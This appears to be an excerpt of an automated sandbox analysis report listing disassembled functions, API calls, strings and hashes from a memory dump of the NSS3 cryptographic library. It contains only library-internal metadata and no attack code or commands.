memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C6D8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C6D8F00
free.MOZGLUE(?), ref: 6C6D8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C6D8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C6D8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C6D8F5B
PR_Unlock.NSS3(?), ref: 6C6D8F72
PR_Unlock.NSS3(?), ref: 6C6D8F82

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 50fbb63503bcd37adac189815401c6aded9b57dcc8f8de52669114e790ed2ebd
Instruction ID: 5a1f4f1d9750b4b55b45e59e4e5b8b481dc030bc2fee7d079e3030b56317e399
Opcode Fuzzy Hash: 50fbb63503bcd37adac189815401c6aded9b57dcc8f8de52669114e790ed2ebd
Instruction Fuzzy Hash: B05124B2D00206AFD7009E28CC8D9AAB7B9EF49358F16412AEC089B710E731FD058BD5

Function 6C64DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C64DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C64DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C64DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C64DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C64DECD

Strings

database corruption, xrefs: 6C64DF77, 6C64DFE7
%s at line %d of [%.10s], xrefs: 6C64DF7C, 6C64DFEC
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C64DF6D, 6C64DFCC, 6C64DFDD

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: d2de8c1fcb73c9a0e36bf881e48af9bb6c7b625dc16628fc165635dde2af619e
Instruction ID: f0e045e1a37f103fe44c71df6012f9589c2127af0f9c4834cd4bf91ee8cb5775
Opcode Fuzzy Hash: d2de8c1fcb73c9a0e36bf881e48af9bb6c7b625dc16628fc165635dde2af619e
Instruction Fuzzy Hash: 88A1C471B042019FC711DF29C880A6AB7F5EF85318F15C96DF8898BB51E730E846CB99

Function 6C70EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C70EE0B

Part of subcall function 6C720BE0: malloc.MOZGLUE(6C718D2D,?,00000000,?), ref: 6C720BF8
Part of subcall function 6C720BE0: TlsGetValue.KERNEL32(6C718D2D,?,00000000,?), ref: 6C720C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C70EEE1

Part of subcall function 6C701D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C701D7E
Part of subcall function 6C701D50: EnterCriticalSection.KERNEL32(?), ref: 6C701D8E
Part of subcall function 6C701D50: PR_Unlock.NSS3(?), ref: 6C701DD3

TlsGetValue.KERNEL32 ref: 6C70EE51
EnterCriticalSection.KERNEL32(?), ref: 6C70EE65
PR_Unlock.NSS3(?), ref: 6C70EEA2
free.MOZGLUE(?), ref: 6C70EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C70EED0
PR_Unlock.NSS3(?), ref: 6C70EF48
free.MOZGLUE(?), ref: 6C70EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C70EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C70EFA4
free.MOZGLUE(?), ref: 6C70EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C70F055
free.MOZGLUE(?), ref: 6C70F060

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 31d10e23d7b79c79d01246f1a3c8c8d51234b1ffacffed895e2f1fb9d76b2736
Instruction ID: e860e6b6287e03afe13d4cb641f62cea4a3242f16902537e09d1bab280dfd9f2
Opcode Fuzzy Hash: 31d10e23d7b79c79d01246f1a3c8c8d51234b1ffacffed895e2f1fb9d76b2736
Instruction Fuzzy Hash: 3E815FB1A002099BEB009FA5DD49ADE7BF9BF49318F544034E949A3A11E731E964CBA1

Function 6C6D4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C6D4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C6D4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C6D4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6D4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C6D4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C6D4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C6D4E85
DER_Encode_Util.NSS3(?,?,6C8205A4,00000000), ref: 6C6D4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C6D4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C6D4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6D4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C6D4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6D4F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6D4FC8

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 9edbd9b815957667995c8329552e45e1e77032bf5c9af1f2a621bdf5cac7de0d
Instruction ID: afc954231a578b255eb1b101b2981d3135ab792cf398553d37b9ba17e1787d45
Opcode Fuzzy Hash: 9edbd9b815957667995c8329552e45e1e77032bf5c9af1f2a621bdf5cac7de0d
Instruction Fuzzy Hash: E981C371908301AFE711CF24D884BABB7E4ABC4318F16852DF958CBA50E7B1ED05CB96

Function 6C715C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C715C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C715CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C715CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C715D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C715D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C715D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C715E18
TlsGetValue.KERNEL32 ref: 6C715E5E
EnterCriticalSection.KERNEL32(?), ref: 6C715E72
PR_Unlock.NSS3(?), ref: 6C715E8B

Part of subcall function 6C70F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C70F854
Part of subcall function 6C70F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C70F868
Part of subcall function 6C70F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C70F882
Part of subcall function 6C70F820: free.MOZGLUE(04C483FF,?,?), ref: 6C70F889
Part of subcall function 6C70F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C70F8A4
Part of subcall function 6C70F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C70F8AB
Part of subcall function 6C70F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C70F8C9
Part of subcall function 6C70F820: free.MOZGLUE(280F10EC,?,?), ref: 6C70F8D0

Strings

tokens=[0x%x=<%s>], xrefs: 6C715D3D
d, xrefs: 6C715C36

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 0c605042b6b596ca0a538467d7750751fdb0f2818269100c1928bde89558a06e
Instruction ID: 891dfc8f1a7fb1880d2f18d2f0006b64bd1fa30775fb8b528f2ce1b8911d5830
Opcode Fuzzy Hash: 0c605042b6b596ca0a538467d7750751fdb0f2818269100c1928bde89558a06e
Instruction Fuzzy Hash: E871B6F0E081019BEB559F25EE8976A3679AF4131CF1C4035DC099AF42E736E919C7D2

Function 6C6F2DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C6F2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C6F2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C6F2E33

Part of subcall function 6C7DD930: PL_strncpyz.NSS3(?,?,?), ref: 6C7DD963

PR_LogPrint.NSS3(?,00000000), ref: 6C6F2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C6F2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C6F2E81

Strings

hSession = 0x%x, xrefs: 6C6F2E0E, 6C6F2E1E
(CK_INVALID_HANDLE), xrefs: 6C6F2E2C
pPin = 0x%p, xrefs: 6C6F2E63
n}l, xrefs: 6C6F2E99, 6C6F2EC4
ulPinLen = %d, xrefs: 6C6F2E7C
C_InitPIN, xrefs: 6C6F2DF1

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$n}l
API String ID: 1003633598-3575376453
Opcode ID: bd7548d540ef27988c3fb7dbe7cc11b9e5f5b61ab641c83424e016cc5166d0eb
Instruction ID: 074f9514bd63b3471d3e268096717e7b4f98940d9a55de3421f165f8b0a842e8
Opcode Fuzzy Hash: bd7548d540ef27988c3fb7dbe7cc11b9e5f5b61ab641c83424e016cc5166d0eb
Instruction Fuzzy Hash: 80310B71601144AFD7108B14DD4DF8A7BB6EB4731DF058034E818A7B11DB38A94ACFEA

Function 6C6F6EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C6F6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C6F6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C6F6F53

Part of subcall function 6C7DD930: PL_strncpyz.NSS3(?,?,?), ref: 6C7DD963

PR_LogPrint.NSS3(?,00000000), ref: 6C6F6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C6F6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C6F6FA1

Strings

pPart = 0x%p, xrefs: 6C6F6F83
hSession = 0x%x, xrefs: 6C6F6F2E, 6C6F6F3E
(CK_INVALID_HANDLE), xrefs: 6C6F6F4C
C_DigestUpdate, xrefs: 6C6F6F11
n}l, xrefs: 6C6F6FB9, 6C6F6FE7
ulPartLen = %d, xrefs: 6C6F6F9C

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$n}l
API String ID: 1003633598-1880953662
Opcode ID: 64b0fd9592ab8dc5655316707ebb6d46a9f0cd14f27d1b3e18694e02dedb78e2
Instruction ID: 1ecc358dd06d1ea337106b63dab4b8ee7e1374e6545900ccab64b06ff81e1a66
Opcode Fuzzy Hash: 64b0fd9592ab8dc5655316707ebb6d46a9f0cd14f27d1b3e18694e02dedb78e2
Instruction Fuzzy Hash: 4F310B756121109FEB109B14DD4CF8A3BB6EB4731CF098034E418E7A12DB38E949CBEA

Function 6C706C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C70781D,00000000,6C6FBE2C,?,6C706B1D,?,?,?,?,00000000,00000000,6C70781D), ref: 6C706C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C70781D,?,6C6FBE2C,?), ref: 6C706C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C70781D), ref: 6C706C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C706C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C706C96

Part of subcall function 6C6B1240: TlsGetValue.KERNEL32(00000040,?,6C6B116C,NSPR_LOG_MODULES), ref: 6C6B1267
Part of subcall function 6C6B1240: EnterCriticalSection.KERNEL32(?,?,?,6C6B116C,NSPR_LOG_MODULES), ref: 6C6B127C
Part of subcall function 6C6B1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C6B116C,NSPR_LOG_MODULES), ref: 6C6B1291
Part of subcall function 6C6B1240: PR_Unlock.NSS3(?,?,?,?,6C6B116C,NSPR_LOG_MODULES), ref: 6C6B12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C706CAA

Strings

dbm:, xrefs: 6C706C3A
extern:, xrefs: 6C706C7E
dbm, xrefs: 6C706CA4
sql:, xrefs: 6C706C52
rdb:, xrefs: 6C706C69
NSS_DEFAULT_DB_TYPE, xrefs: 6C706C91

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: b9124a44dff3526fa7cf60b67cd4da4a64ffeae73b944159d23e9f817b2e1292
Instruction ID: e37f4fff3723f250d4225048e3bce5be82aeb470e9728a3e444ab1e8d3b926b4
Opcode Fuzzy Hash: b9124a44dff3526fa7cf60b67cd4da4a64ffeae73b944159d23e9f817b2e1292
Instruction Fuzzy Hash: 7C01D6E174231237F66027795F5AF27399CDF8219DF140831FE05E1B82EBA2F61482A9

Function 6C714E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C6D78F8), ref: 6C714E6D

Part of subcall function 6C6B09E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C6B06A2,00000000,?), ref: 6C6B09F8
Part of subcall function 6C6B09E0: malloc.MOZGLUE(0000001F), ref: 6C6B0A18
Part of subcall function 6C6B09E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C6B0A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C6D78F8), ref: 6C714ED9

Part of subcall function 6C705920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C707703,?,00000000,00000000), ref: 6C705942
Part of subcall function 6C705920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C707703), ref: 6C705954
Part of subcall function 6C705920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C70596A
Part of subcall function 6C705920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C705984
Part of subcall function 6C705920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C705999
Part of subcall function 6C705920: free.MOZGLUE(00000000), ref: 6C7059BA
Part of subcall function 6C705920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C7059D3
Part of subcall function 6C705920: free.MOZGLUE(00000000), ref: 6C7059F5
Part of subcall function 6C705920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C705A0A
Part of subcall function 6C705920: free.MOZGLUE(00000000), ref: 6C705A2E
Part of subcall function 6C705920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C705A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C6D78F8), ref: 6C714EB3

Part of subcall function 6C714820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C714EB8,?,?,?,?,?,?,?,?,?,?,6C6D78F8), ref: 6C71484C
Part of subcall function 6C714820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C714EB8,?,?,?,?,?,?,?,?,?,?,6C6D78F8), ref: 6C71486D
Part of subcall function 6C714820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C714EB8,?), ref: 6C714884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C6D78F8), ref: 6C714EC0

Part of subcall function 6C714470: TlsGetValue.KERNEL32(00000000,?,6C6D7296,00000000), ref: 6C714487
Part of subcall function 6C714470: EnterCriticalSection.KERNEL32(?,?,?,6C6D7296,00000000), ref: 6C7144A0
Part of subcall function 6C714470: PR_Unlock.NSS3(?,?,?,?,6C6D7296,00000000), ref: 6C7144BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C6D78F8), ref: 6C714F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6D78F8), ref: 6C714F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6D78F8), ref: 6C714F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6D78F8), ref: 6C714F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6D78F8), ref: 6C714F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6D78F8), ref: 6C714F8F
PK11_UpdateSlotAttribute.NSS3(?,6C7EDCB0,00000000), ref: 6C714FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C71501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C6D78F8), ref: 6C71506B

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: f7f89628d8dd3169c4a828aac5fe3cda6734de79f84e0eb3af5dcf4de1db6f96
Instruction ID: 6fbb5326ee5a20fdd6ab806ce31f5727a1350848f0b018aeb4579bb636f06a96
Opcode Fuzzy Hash: f7f89628d8dd3169c4a828aac5fe3cda6734de79f84e0eb3af5dcf4de1db6f96
Instruction Fuzzy Hash: 7251E0F1A042019FEB11AF35EE09A9B36B4BF0535CF1C4635EC0696E12E731D965CAD2

Function 6C6BACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6BACE2
malloc.MOZGLUE(00000001), ref: 6C6BACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C6BAD02
TlsGetValue.KERNEL32 ref: 6C6BAD3C
calloc.MOZGLUE(00000001,?), ref: 6C6BAD8C
PR_Unlock.NSS3 ref: 6C6BADC0
free.MOZGLUE(00000000), ref: 6C6BAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6BAE58
free.MOZGLUE(00000000), ref: 6C6BAE69
free.MOZGLUE(?), ref: 6C6BAE78
PR_Unlock.NSS3 ref: 6C6BAE8C
free.MOZGLUE(?), ref: 6C6BAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6BAEC7

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 1a61ebf08e6c50a8f455788bf355fd9c8655baea01b120a1ee2cd98053bd7e11
Instruction ID: 7c7b8f7315d42f80e10a049988fd5ae75da7aa60e8fcd6aa9db0f8e67c067da8
Opcode Fuzzy Hash: 1a61ebf08e6c50a8f455788bf355fd9c8655baea01b120a1ee2cd98053bd7e11
Instruction Fuzzy Hash: F451B3B0A001169BDF21DF98D849AAEB7F4BB0634DF144135E804B3B12D335AD26CBD9

Function 6C794C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C794CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C794CFD
sqlite3_value_text16.NSS3(?), ref: 6C794D44

Strings

invalid, xrefs: 6C794CF1
abort due to ROLLBACK, xrefs: 6C794D27, 6C794D33
bad parameter or other API misuse, xrefs: 6C794D05
no more rows available, xrefs: 6C794D2E
API call with %s database connection pointer, xrefs: 6C794CF6
another row available, xrefs: 6C794D20
out of memory, xrefs: 6C794C78, 6C794C9E
